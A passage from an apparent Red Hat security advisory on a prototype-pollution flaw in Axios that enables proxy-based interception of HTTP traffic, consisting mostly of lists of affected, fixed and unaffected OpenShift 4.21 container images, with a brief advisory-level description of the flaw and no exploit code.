| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Axios. This vulnerability, a Prototype Pollution "Gadget" attack, allows an attacker to escalate any existing Object.prototype pollution in an application's dependency tree into a full Man-in-the-Middle (MITM) attack. This enables the attacker to intercept, read, and modify all HTTP traffic, including sensitive authentication credentials. The flaw occurs because the `config.proxy` setting is susceptible to prototype pollution, allowing an attacker to inject a malicious proxy server.
8.7 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
82 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64 | — |
Workaround
|
|
